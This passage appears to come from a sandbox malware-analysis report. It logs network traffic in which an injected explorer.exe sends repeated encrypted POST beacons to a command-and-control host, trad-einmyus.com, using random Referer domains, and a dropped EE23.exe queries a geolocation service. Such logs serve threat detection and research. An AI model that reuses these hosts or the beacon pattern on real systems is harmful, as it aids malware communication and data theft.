                                                                                                                                                                                                                                                              Feb 8, 2024 20:20:11.556833982 CET234OUTData Raw: 12 87 80 90 1b f9 a7 b2 bf 3a 09 37 7d c3 ec 8f 32 14 dd 30 d7 41 6e 91 b8 ea a7 85 f9 d0 9a 85 6d b3 2c a0 6f 19 cd e1 9c df f3 d8 d9 95 15 05 6b 98 69 fc e4 ec aa 80 eb 5c bd d2 e4 d8 46 d4 75 24 f3 c4 86 de 9e 66 5d 02 c9 a1 c1 64 4d bd 87 12
                                                                                                                                                                                                                                                              Data Ascii: :7}20Anm,oki\Fu$f]dMkouCp]_%C[4W3!)F?XYT1Zr7,][U>"4Gs3\KB|L0\M;U7"9S03bE_gN~.,h&Od1
                                                                                                                                                                                                                                                              Feb 8, 2024 20:20:11.822654009 CET189INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                                              Server: nginx/1.20.2
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:20:11 GMT
                                                                                                                                                                                                                                                              Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                                              Transfer-Encoding: chunked
                                                                                                                                                                                                                                                              Connection: close
                                                                                                                                                                                                                                                              Data Raw: 37 0d 0a 03 00 00 00 79 fa f3 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                              Data Ascii: 7y0


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              73192.168.2.549846185.12.126.182801028C:\Windows\explorer.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              Feb 8, 2024 20:20:15.821835995 CET283OUTPOST /index.php HTTP/1.1
                                                                                                                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                              Accept: */*
                                                                                                                                                                                                                                                              Referer: http://hdblwhimwarhw.org/
                                                                                                                                                                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                                              Content-Length: 245
                                                                                                                                                                                                                                                              Host: trad-einmyus.com
                                                                                                                                                                                                                                                              Feb 8, 2024 20:20:15.821893930 CET245OUTData Raw: 12 87 80 90 1b f9 a7 b2 bf 3a 09 37 7d c3 ec 8f 32 14 dd 30 d7 41 6e 91 b8 ea a7 85 f9 d0 9a 85 6d b3 2c a0 6f 19 cd e1 9c df f3 d8 d9 95 15 05 6b 98 69 fc e4 ec aa 80 eb 5c bd d2 e4 d8 46 d4 75 24 f3 c4 86 de 9e 66 5d 02 c9 a1 c1 64 53 9d 83 2f
                                                                                                                                                                                                                                                              Data Ascii: :7}20Anm,oki\Fu$f]dS/Fk`L<)+_tpfEe%N.6:_M0pcIGLb'ZLBLZLtsO0O$vVx0(eV1Jb6zP/)-sbIo4I
                                                                                                                                                                                                                                                              Feb 8, 2024 20:20:16.070544004 CET189INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                                              Server: nginx/1.20.2
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:20:15 GMT
                                                                                                                                                                                                                                                              Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                                              Transfer-Encoding: chunked
                                                                                                                                                                                                                                                              Connection: close
                                                                                                                                                                                                                                                              Data Raw: 37 0d 0a 03 00 00 00 79 fa f3 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                              Data Ascii: 7y0


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              74192.168.2.549847185.12.126.182801028C:\Windows\explorer.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              Feb 8, 2024 20:20:21.266292095 CET284OUTPOST /index.php HTTP/1.1
                                                                                                                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                              Accept: */*
                                                                                                                                                                                                                                                              Referer: http://rlrxfnsljgyvce.org/
                                                                                                                                                                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                                              Content-Length: 202
                                                                                                                                                                                                                                                              Host: trad-einmyus.com
                                                                                                                                                                                                                                                              Feb 8, 2024 20:20:21.266324043 CET202OUTData Raw: 12 87 80 90 1b f9 a7 b2 bf 3a 09 37 7d c3 ec 8f 32 14 dd 30 d7 41 6e 91 b8 ea a7 85 f9 d0 9a 85 6d b3 2c a0 6f 19 cd e1 9c df f3 d8 d9 95 15 05 6b 98 69 fc e4 ec aa 80 eb 5c bd d2 e4 d8 46 d4 75 24 f3 c4 86 de 9e 66 5d 02 c9 a1 c1 64 3c c0 cc 17
                                                                                                                                                                                                                                                              Data Ascii: :7}20Anm,oki\Fu$f]d<"n(sG]KGrSJ5Lpv_$GzQ3S`Um)Bf_!RR#MZB:eV"O>U\<iv
                                                                                                                                                                                                                                                              Feb 8, 2024 20:20:21.547142029 CET189INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                                              Server: nginx/1.20.2
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:20:21 GMT
                                                                                                                                                                                                                                                              Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                                              Transfer-Encoding: chunked
                                                                                                                                                                                                                                                              Connection: close
                                                                                                                                                                                                                                                              Data Raw: 37 0d 0a 03 00 00 00 79 fa f2 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                              Data Ascii: 7y0


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              75192.168.2.549848185.12.126.182801028C:\Windows\explorer.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              Feb 8, 2024 20:20:21.811439037 CET282OUTPOST /index.php HTTP/1.1
                                                                                                                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                              Accept: */*
                                                                                                                                                                                                                                                              Referer: http://pswthdpmgbig.org/
                                                                                                                                                                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                                              Content-Length: 269
                                                                                                                                                                                                                                                              Host: trad-einmyus.com
                                                                                                                                                                                                                                                              Feb 8, 2024 20:20:21.811469078 CET269OUTData Raw: 12 87 80 90 1b f9 a7 b2 bf 3a 09 37 7d c3 ec 8f 32 14 dd 30 d7 41 6e 91 b8 ea a7 85 f9 d0 9a 85 6d b3 2c a0 6f 19 cd e1 9c df f3 d8 d9 95 15 05 6b 98 69 fc e4 ec aa 80 eb 5c bd d2 e4 d8 46 d4 75 24 f3 c4 85 de 9e 66 5d 02 c8 a1 c1 64 5b 98 c9 1a
                                                                                                                                                                                                                                                              Data Ascii: :7}20Anm,oki\Fu$f]d[DFuM_`4* RfDQzyd??!u"Tuiki!8%JS"3) [&|9*OTJRt%j)kcrh:,u1r8yM5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:20:22.077198982 CET216INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                                              Server: nginx/1.20.2
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:20:21 GMT
                                                                                                                                                                                                                                                              Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                                              Transfer-Encoding: chunked
                                                                                                                                                                                                                                                              Connection: close
                                                                                                                                                                                                                                                              Data Raw: 32 31 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 9e 4f 17 25 01 e5 e9 de eb 87 1a 81 49 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                              Data Ascii: 21I:82OO%I0


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              76192.168.2.549851185.12.126.182801028C:\Windows\explorer.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              Feb 8, 2024 20:20:26.151447058 CET282OUTPOST /index.php HTTP/1.1
                                                                                                                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                              Accept: */*
                                                                                                                                                                                                                                                              Referer: http://uyvfiuwwcqrc.com/
                                                                                                                                                                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                                              Content-Length: 112
                                                                                                                                                                                                                                                              Host: trad-einmyus.com
                                                                                                                                                                                                                                                              Feb 8, 2024 20:20:26.151480913 CET112OUTData Raw: 12 87 80 90 1b f9 a7 b2 bf 3a 09 37 7d c3 ec 8f 32 14 dd 30 d7 41 6e 91 b8 ea a7 85 f9 d0 9a 85 6d b3 2c a0 6f 19 cd e1 9c df f3 d8 d9 95 15 05 6b 98 69 fc e4 ec aa 80 eb 5c bd d2 e4 d8 46 d4 75 24 f3 c4 84 de 9e 66 5d 02 c9 a1 c1 64 12 96 99 20
                                                                                                                                                                                                                                                              Data Ascii: :7}20Anm,oki\Fu$f]d 1H}K`K0xR6
                                                                                                                                                                                                                                                              Feb 8, 2024 20:20:26.429667950 CET597INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                                              Server: nginx/1.20.2
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:20:26 GMT
                                                                                                                                                                                                                                                              Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                                              Transfer-Encoding: chunked
                                                                                                                                                                                                                                                              Connection: close
                                                                                                                                                                                                                                                              Data Raw: 31 39 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 74 72 61 64 2d 65 69 6e 6d 79 75 73 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                              Data Ascii: 19d<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at trad-einmyus.com Port 80</address></body></html>0


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              77192.168.2.549852185.12.126.182801028C:\Windows\explorer.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              Feb 8, 2024 20:20:32.970001936 CET284OUTPOST /index.php HTTP/1.1
                                                                                                                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                              Accept: */*
                                                                                                                                                                                                                                                              Referer: http://qgfsfhxsqgmjfi.net/
                                                                                                                                                                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                                              Content-Length: 190
                                                                                                                                                                                                                                                              Host: trad-einmyus.com
                                                                                                                                                                                                                                                              Feb 8, 2024 20:20:32.970042944 CET190OUTData Raw: 12 87 80 90 1b f9 a7 b2 bf 3a 09 37 7d c3 ec 8f 32 14 dd 30 d7 41 6e 91 b8 ea a7 85 f9 d0 9a 85 6d b3 2c a0 6f 19 cd e1 9c df f3 d8 d9 95 15 05 6b 98 69 fc e4 ec aa 80 eb 5c bd d2 e4 d8 46 d4 75 24 f3 c4 86 de 9e 66 5d 02 c9 a1 c1 64 01 97 ba 01
                                                                                                                                                                                                                                                              Data Ascii: :7}20Anm,oki\Fu$f]dxXl3T)+.hp-uuj$'*P-<7VMg*t'Rzj]OnRx0y'?u*>
                                                                                                                                                                                                                                                              Feb 8, 2024 20:20:33.220047951 CET189INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                                              Server: nginx/1.20.2
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:20:33 GMT
                                                                                                                                                                                                                                                              Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                                              Transfer-Encoding: chunked
                                                                                                                                                                                                                                                              Connection: close
                                                                                                                                                                                                                                                              Data Raw: 37 0d 0a 03 00 00 00 79 fa f3 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                              Data Ascii: 7y0


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              78192.168.2.549853185.12.126.182801028C:\Windows\explorer.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              Feb 8, 2024 20:20:38.088022947 CET281OUTPOST /index.php HTTP/1.1
                                                                                                                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                              Accept: */*
                                                                                                                                                                                                                                                              Referer: http://hntaeskyawj.net/
                                                                                                                                                                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                                              Content-Length: 126
                                                                                                                                                                                                                                                              Host: trad-einmyus.com
                                                                                                                                                                                                                                                              Feb 8, 2024 20:20:38.088109970 CET126OUTData Raw: 12 87 80 90 1b f9 a7 b2 bf 3a 09 37 7d c3 ec 8f 32 14 dd 30 d7 41 6e 91 b8 ea a7 85 f9 d0 9a 85 6d b3 2c a0 6f 19 cd e1 9c df f3 d8 d9 95 15 05 6b 98 69 fc e4 ec aa 80 eb 5c bd d2 e4 d8 46 d4 75 24 f3 c4 86 de 9e 66 5d 02 c9 a1 c1 64 53 c1 a2 03
                                                                                                                                                                                                                                                              Data Ascii: :7}20Anm,oki\Fu$f]dSZJ!y5J`I8HCvNw1R{3v
                                                                                                                                                                                                                                                              Feb 8, 2024 20:20:38.334397078 CET189INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                                              Server: nginx/1.20.2
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:20:38 GMT
                                                                                                                                                                                                                                                              Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                                              Transfer-Encoding: chunked
                                                                                                                                                                                                                                                              Connection: close
                                                                                                                                                                                                                                                              Data Raw: 37 0d 0a 03 00 00 00 79 fa f3 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                              Data Ascii: 7y0


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              79192.168.2.549854185.12.126.182801028C:\Windows\explorer.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              Feb 8, 2024 20:20:42.545455933 CET285OUTPOST /index.php HTTP/1.1
                                                                                                                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                              Accept: */*
                                                                                                                                                                                                                                                              Referer: http://rehascswfslmgwk.com/
                                                                                                                                                                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                                              Content-Length: 239
                                                                                                                                                                                                                                                              Host: trad-einmyus.com
                                                                                                                                                                                                                                                              Feb 8, 2024 20:20:42.545510054 CET239OUTData Raw: 12 87 80 90 1b f9 a7 b2 bf 3a 09 37 7d c3 ec 8f 32 14 dd 30 d7 41 6e 91 b8 ea a7 85 f9 d0 9a 85 6d b3 2c a0 6f 19 cd e1 9c df f3 d8 d9 95 15 05 6b 98 69 fc e4 ec aa 80 eb 5c bd d2 e4 d8 46 d4 75 24 f3 c4 86 de 9e 66 5d 02 c9 a1 c1 64 3f 98 ba 03
                                                                                                                                                                                                                                                              Data Ascii: :7}20Anm,oki\Fu$f]d?0evEZhg?[/tNNa5<29]FdJZ6o<p^.8&,,)$ve6N`r(.|~9"XNoO7JgD~GwjtSB4#8gl$T4
                                                                                                                                                                                                                                                              Feb 8, 2024 20:20:42.822604895 CET189INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                                              Server: nginx/1.20.2
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:20:42 GMT
                                                                                                                                                                                                                                                              Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                                              Transfer-Encoding: chunked
                                                                                                                                                                                                                                                              Connection: close
                                                                                                                                                                                                                                                              Data Raw: 37 0d 0a 03 00 00 00 79 fa f3 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                              Data Ascii: 7y0


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              80192.168.2.549855185.12.126.182801028C:\Windows\explorer.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              Feb 8, 2024 20:20:45.713646889 CET286OUTPOST /index.php HTTP/1.1
                                                                                                                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                              Accept: */*
                                                                                                                                                                                                                                                              Referer: http://bpvnrwwgvslopree.org/
                                                                                                                                                                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                                              Content-Length: 137
                                                                                                                                                                                                                                                              Host: trad-einmyus.com
                                                                                                                                                                                                                                                              Feb 8, 2024 20:20:45.713685989 CET137OUTData Raw: 12 87 80 90 1b f9 a7 b2 bf 3a 09 37 7d c3 ec 8f 32 14 dd 30 d7 41 6e 91 b8 ea a7 85 f9 d0 9a 85 6d b3 2c a0 6f 19 cd e1 9c df f3 d8 d9 95 15 05 6b 98 69 fc e4 ec aa 80 eb 5c bd d2 e4 d8 46 d4 75 24 f3 c4 86 de 9e 66 5d 02 c9 a1 c1 64 5a df a0 13
                                                                                                                                                                                                                                                              Data Ascii: :7}20Anm,oki\Fu$f]dZ=<LXJd^P-B}Iv:@|y/X#+9Bn6`
                                                                                                                                                                                                                                                              Feb 8, 2024 20:20:45.962929964 CET189INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                                              Server: nginx/1.20.2
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:20:45 GMT
                                                                                                                                                                                                                                                              Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                                              Transfer-Encoding: chunked
                                                                                                                                                                                                                                                              Connection: close
                                                                                                                                                                                                                                                              Data Raw: 37 0d 0a 03 00 00 00 79 fa f3 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                              Data Ascii: 7y0


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              81192.168.2.549856185.12.126.182801028C:\Windows\explorer.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              Feb 8, 2024 20:20:48.737972021 CET284OUTPOST /index.php HTTP/1.1
                                                                                                                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                              Accept: */*
                                                                                                                                                                                                                                                              Referer: http://rglkcocvewlpbb.org/
                                                                                                                                                                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                                              Content-Length: 209
                                                                                                                                                                                                                                                              Host: trad-einmyus.com
                                                                                                                                                                                                                                                              Feb 8, 2024 20:20:48.738014936 CET209OUTData Raw: 12 87 80 90 1b f9 a7 b2 bf 3a 09 37 7d c3 ec 8f 32 14 dd 30 d7 41 6e 91 b8 ea a7 85 f9 d0 9a 85 6d b3 2c a0 6f 19 cd e1 9c df f3 d8 d9 95 15 05 6b 98 69 fc e4 ec aa 80 eb 5c bd d2 e4 d8 46 d4 75 24 f3 c4 86 de 9e 66 5d 02 c9 a1 c1 64 2f 81 8b 20
                                                                                                                                                                                                                                                              Data Ascii: :7}20Anm,oki\Fu$f]d/ 'xFva:aKk[bx<6a7p"6!J=<SPW`@KR:,h31E.eBve"@l];[;9}s3
                                                                                                                                                                                                                                                              Feb 8, 2024 20:20:49.011663914 CET189INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                                              Server: nginx/1.20.2
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:20:48 GMT
                                                                                                                                                                                                                                                              Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                                              Transfer-Encoding: chunked
                                                                                                                                                                                                                                                              Connection: close
                                                                                                                                                                                                                                                              Data Raw: 37 0d 0a 03 00 00 00 79 fa f3 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                              Data Ascii: 7y0


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              82192.168.2.549857185.12.126.182801028C:\Windows\explorer.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              Feb 8, 2024 20:20:52.187700987 CET283OUTPOST /index.php HTTP/1.1
                                                                                                                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                              Accept: */*
                                                                                                                                                                                                                                                              Referer: http://jahuwpbbcqyho.net/
                                                                                                                                                                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                                              Content-Length: 112
                                                                                                                                                                                                                                                              Host: trad-einmyus.com
                                                                                                                                                                                                                                                              Feb 8, 2024 20:20:52.187764883 CET112OUTData Raw: 12 87 80 90 1b f9 a7 b2 bf 3a 09 37 7d c3 ec 8f 32 14 dd 30 d7 41 6e 91 b8 ea a7 85 f9 d0 9a 85 6d b3 2c a0 6f 19 cd e1 9c df f3 d8 d9 95 15 05 6b 98 69 fc e4 ec aa 80 eb 5c bd d2 e4 d8 46 d4 75 24 f3 c4 86 de 9e 66 5d 02 c9 a1 c1 64 5d ad cb 69
                                                                                                                                                                                                                                                              Data Ascii: :7}20Anm,oki\Fu$f]d]i$epm"A76w{w@6
                                                                                                                                                                                                                                                              Feb 8, 2024 20:20:52.459315062 CET189INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                                              Server: nginx/1.20.2
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:20:52 GMT
                                                                                                                                                                                                                                                              Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                                              Transfer-Encoding: chunked
                                                                                                                                                                                                                                                              Connection: close
                                                                                                                                                                                                                                                              Data Raw: 37 0d 0a 03 00 00 00 79 fa f3 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                              Data Ascii: 7y0


                                                                                                                                                                                                                                                              HTTPS Proxied Packets

                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              0192.168.2.549732172.67.139.2204432284C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              2024-02-08 19:17:33 UTC85OUTGET /geo.json HTTP/1.1
                                                                                                                                                                                                                                                              User-Agent: Microsoft Internet Explorer
                                                                                                                                                                                                                                                              Host: api.2ip.ua
                                                                                                                                                                                                                                                              2024-02-08 19:17:34 UTC908INHTTP/1.1 429 Too Many Requests
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:17:34 GMT
                                                                                                                                                                                                                                                              Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                              Transfer-Encoding: chunked
                                                                                                                                                                                                                                                              Connection: close
                                                                                                                                                                                                                                                              strict-transport-security: max-age=63072000; preload
                                                                                                                                                                                                                                                              x-frame-options: SAMEORIGIN
                                                                                                                                                                                                                                                              x-content-type-options: nosniff
                                                                                                                                                                                                                                                              x-xss-protection: 1; mode=block; report=...
                                                                                                                                                                                                                                                              access-control-allow-origin: *
                                                                                                                                                                                                                                                              access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE
                                                                                                                                                                                                                                                              access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type
                                                                                                                                                                                                                                                              CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                                              Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=yGoFdxvy6xyTlQLfeBJzhmw8TWBiqWXQBHr6310LUriJ60LO8ZLSFVoYBSLXui4eGVzxcb8ewpDkNGHPGrG%2F13lwufcEdkrm3BitAUaYP0TVNZCYEyfZLEqLoLJ5"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                              NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                              Server: cloudflare
                                                                                                                                                                                                                                                              CF-RAY: 852636a79f31674c-ATL
                                                                                                                                                                                                                                                              alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                                              2024-02-08 19:17:34 UTC461INData Raw: 33 32 66 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 36 33 30 62 30 36 30 66 31 33 32 33 35 31 30 61 31 33 34 64 30 65 30 36 35 63 31 30 31 36 30 31 30 39 30 36 30 30
                                                                                                                                                                                                                                                              Data Ascii: 32f<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="/cdn-cgi/l/email-protection#630b060f1323510a134d0e065c101601090600
